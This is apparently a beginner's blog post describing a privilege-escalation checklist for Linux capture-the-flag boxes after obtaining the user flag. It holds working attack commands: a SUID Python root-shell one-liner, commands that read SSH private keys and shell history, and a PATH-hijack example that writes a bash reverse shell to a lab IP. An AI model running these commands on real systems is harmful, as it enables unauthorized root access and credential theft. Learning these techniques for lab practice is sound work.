How to Proceed after the User Flag: My Beginner’s Priv Esc Flow

Getting user.txt is just the beginning. Here’s how I hunt for privilege escalation paths on Linux boxes; what I check, how I think, and why it still stumps me sometimes.
How to Proceed after the User Flag: My Beginner’s Priv Esc Flow

Getting user.txt on a Linux box is great, but it’s only half way. Here’s what I actually do after the user flag, how I think through privilege escalation, and where I often still fumble (and learn).

Step 1: Quick Wins – sudo -l

My first move after grabbing a shell or SSHing in:

sudo -l

sudo -l shows which commands the current user can run with sudo, including any passwordless (NOPASSWD) rules. I’m looking for things like:

  • NOPASSWD rules
  • Full ALL rights
  • Scripts or binaries that can be run as root

Sometimes it’s gold. For example:

(ALL) NOPASSWD: /usr/bin/some-service

➡ That means I can launch some-service as root, which spawns a shell. Something like that might've happened in an Easy Box this season..


Step 2: Run LinPEAS, But Actually Read the Output

Yes, I use automation. But LinPEAS is only useful if you actually understand what it shows you.

/tmp/linpeas.sh | tee /tmp/peas.log

Some highlights I always check:

SectionWhat I Look For
SUDONOPASSWD entries, weird rules
SUID BinariesEspecially anything custom or weirdly placed
Interesting Files.bash_history, .ssh, id_rsa, anything in /opt/
CRON JobsRoot-owned, writable, custom paths
PATH / EnvEmpty or writable PATH entries → possible hijack
Kernel & ExploitsCVE matches I can google with ExploitDB

Use lessgrep, or highlight manually; don’t just scroll, pretending that will get you anything.

See a full LinPEAS cheatsheet →


Step 3: Investigate SUID Binaries

LinPEAS or manual:

find / -perm -4000 -type f 2>/dev/null

I'm hunting for:

  • Interpreter binaries with SUID (pythonperl, etc.)
  • Anything custom in weird places (/opt/ is a big one!)

Example: Python SUID Exploit

If you see this:

-rwsr-xr-x 1 root root 123456 /usr/bin/python3.8

You can try:

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

➡ If it works, you just got a root shell via Python.

More about this trick →


Step 4: Check /opt/ – Always!

Don’t skip /opt/. It’s like the attic where devs throw random junk that somehow runs as root.

Why /opt/ is suspicious:

  • Scripts here might be run by cron or services as root
  • Often has custom code with no real logging or hardening
  • May contain writable files owned by root (!)

Commands I use:

find /opt -type f -exec ls -l {} \;
find /opt -user root
grep -r "/opt" /etc/cron*
grep -r "/opt" /etc/systemd/system

If you see a script like:

-rwxrwxrwx 1 root root /opt/update.sh

That’s a red flag. It might be wise trying to establish a Shell with that.


Step 5: Dig Through Everything That Looks Like a Config

cat ~/.bash_history
cat ~/.ssh/id_rsa
ls -la /home

I’m looking for:

  • Stored credentials
  • SSH keys
  • Misconfigured .conf files
  • Database creds (especially MySQL/Postgres)

Step 6: Environment Variables & PATH Hijacking

Sometimes root runs a script that calls another command without using its full path. That’s a gift.

If $PATH includes a directory you can write to, and the script calls ls or cp without /bin/ls, you can swap in a malicious binary and get code execution.

What I Check

echo $PATH

If you see something like:

/home/user/bin:/usr/local/bin:/usr/bin:/bin

➡ You’re probably fine.

But if you see:

/tmp:/home/user/bin:/usr/local/bin

Then maybe a root-owned cronjob/script will hit something in /tmp, and you can hijack it.


Exploit Example: PATH Hijack

Let’s say a cronjob runs:

#!/bin/bash
backup

But doesn’t define a full path. You create your own malicious version:

echo '#!/bin/bash' > /tmp/backup
echo 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1' >> /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH

If root runs the script in this environment, it’ll execute your version.


Bonus Checks

Also try:

env
cat /etc/environment

Look for:

  • LD_PRELOAD abuse
  • Weird aliases or exported functions
  • Empty or unusual $PATH, especially in root-owned scripts

If All Else Fails: Manual Thinking

If none of the tools hand me root, I stop and ask:

  • What am I allowed to touch?
  • What does this system assume I won’t see?
  • Is there anything that feels custom, dirty, or sloppy?

Sometimes it’s path hijacking. Sometimes it’s just a script that logs stuff as root and I can inject into it. Sometimes... I just give up and learn from the writeup 😅


💬Thoughts

Privilege escalation is the part of hacking that makes you grow. The foothold teaches you tools, the privesc teaches you how to think.

I’m not great at it yet, but I’m building my checklist, trusting my instincts more, and messing up just a little bit less with each new box.


Want a deep dive into one specific box like UnderPass? Let me know, I’ll write that one next. Or drop your favorite privesc trick in the comments 👇

Subscribe to my monthly newsletter

No spam, no sharing to third party. Only you and me.

Member discussion